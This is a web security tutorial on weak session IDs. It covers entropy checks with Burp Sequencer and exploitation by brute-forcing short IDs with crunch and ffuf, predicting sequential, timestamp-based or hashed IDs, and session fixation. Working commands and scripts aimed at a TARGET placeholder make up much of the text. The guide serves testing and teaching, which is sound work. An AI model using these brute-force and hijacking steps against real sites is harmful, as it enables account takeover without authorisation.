Weak Session IDs
Weak session ID detection and exploitation: entropy analysis with Burp Sequencer, short ID brute-force with crunch+ffuf, predictable patterns (sequential IDs, timestamp-based), and session fixation via URL injection.
What are Weak Session IDs
A session ID is only as secure as its entropy. A weak session ID has one or more of:
- Too short (< 16 bytes / 128 bits)
- Low entropy — not truly random (sequential, timestamp-based, hash of predictable input)
- Predictable pattern — derived from username, time, counter
- Fixed positions — some bytes never change
Minimum standards:
- Length: 16 bytes (128 bits)
- Entropy: 64 bits of effective randomness
- Generator: cryptographically secure PRNG
Detection
Step 1 — Collect multiple session IDs
Log in multiple times (different accounts or fresh sessions) and collect session IDs:
# Collect 20 session IDs via curl
for i in $(seq 1 20); do
curl -s -c - http://TARGET/login \
-d 'username=user&password=pass' | grep -i 'sessionid\|phpsessid\|jsessionid'
done
In Burp Proxy → HTTP history, filter for Set-Cookie headers containing session values.
Step 2 — Visual inspection
Look for:
- Short IDs:
abc1(4 chars) — brute-forceable - Sequential:
sess_0001,sess_0002— predictable - Timestamp:
1735000000_user— derivable - Low charset: only digits, or only lowercase hex (reduces entropy)
Step 3 — Entropy analysis with Burp Sequencer
- Find a request in Proxy history that returns a
Set-Cookiewith a session ID. - Right-click → Send to Sequencer.
- In Sequencer, set the Token Location to the session cookie value.
- Click Start live capture — Burp sends the request repeatedly and collects tokens.
- Collect at least 1000 tokens (more = better analysis).
- Click Analyze now.
Check:
- Effective bits of entropy: should be ≥ 64 bits. Below 32 bits → brute-forceable.
- Character positions: Each position should show roughly equal distribution. Fixed positions (always the same character) reduce entropy.
Step 4 — Length check
sessions = ['abc1de', 'f2gh3i', 'j4kl5m'] # collected IDs
for s in sessions:
print(f'{s}: {len(s)} chars, {len(s) * 6:.0f} bits (base64) or {len(s) * 4:.0f} bits (hex)')
A 4-character lowercase+digit session has (26+10)^4 ≈ 1.68 million possible values — trivially brute-forceable.
Exploit 1: Brute-Force Short Session IDs
Generate wordlist with crunch
# 4-character sessions using lowercase letters + digits
crunch 4 4 abcdefghijklmnopqrstuvwxyz0123456789 -o sessions.txt
# This generates 36^4 = 1,679,616 entries
# 6-character hex sessions
crunch 6 6 0123456789abcdef -o hex_sessions.txt
# 16^6 = 16,777,216 entries
Fuzz with ffuf
# Brute-force session ID in a cookie
ffuf -u http://TARGET/profile.php \
-b "PHPSESSID=FUZZ" \
-w sessions.txt \
-fc 302 \
-t 50
# Filter 302 (redirect to login) — a 200 = valid session
# -t 50 = 50 threads
In Burp Intruder:
- Capture a request with
Cookie: PHPSESSID=abcd. - Set
abcdas the payload position. - Load the wordlist.
- Set grep match for content that only appears when authenticated (e.g., “Welcome back”, “Logout”).
- Start attack; any matching response = valid session ID.
Exploit 2: Sequential Session ID Prediction
If session IDs are sequential integers or have a predictable suffix:
sess_100001
sess_100002
sess_100003
Generate a range:
# Generate sequential IDs
seq 100001 110000 | sed 's/^/sess_/' > seq_sessions.txt
ffuf -u http://TARGET/dashboard \
-b "sessionid=FUZZ" \
-w seq_sessions.txt \
-fc 302
Exploit 3: Timestamp-Based Session IDs
If session IDs are derived from Unix timestamps:
# Generate sessions for a time range (last 10 minutes)
import time, hashlib
current = int(time.time())
with open('time_sessions.txt', 'w') as f:
for ts in range(current - 600, current + 1):
# Try common derivations
f.write(f'{ts}\n') # raw timestamp
f.write(hashlib.md5(str(ts).encode()).hexdigest() + '\n') # MD5(timestamp)
f.write(hashlib.sha1(str(ts).encode()).hexdigest() + '\n') # SHA1(timestamp)
Exploit 4: Hash of Username/Email
import hashlib, itertools
# If session = MD5(username + salt) and salt is short/known
usernames = ['admin', 'user', 'test', 'john']
salts = ['', 'secret', '1234', 'salt']
with open('hash_sessions.txt', 'w') as f:
for u in usernames:
for s in salts:
f.write(hashlib.md5(f'{u}{s}'.encode()).hexdigest() + '\n')
f.write(hashlib.sha1(f'{u}{s}'.encode()).hexdigest() + '\n')
Exploit 5: Session ID in URL (Session Fixation)
If the session ID is transmitted in the URL rather than a cookie:
http://TARGET/account?PHPSESSID=abc123
This exposes the session ID in:
- Server access logs
- Browser history
Refererheaders to external sites- Shared links
Fix a known session ID (see Session Fixation page) and send the URL to the victim.
Burp Suite workflow
- Proxy — collect multiple
Set-Cookieresponses with session IDs. - Sequencer — send a token-generating request; run statistical entropy analysis; check effective bits.
- Intruder — brute-force short/predictable session IDs; use a grep match for authenticated-only content.
- crunch — generate wordlists for known character sets and lengths.
- Decoder — decode base64/hex session IDs to check raw bytes and length.
- For URL-transmitted sessions: search Proxy history for session values in
Refererheaders or request URLs.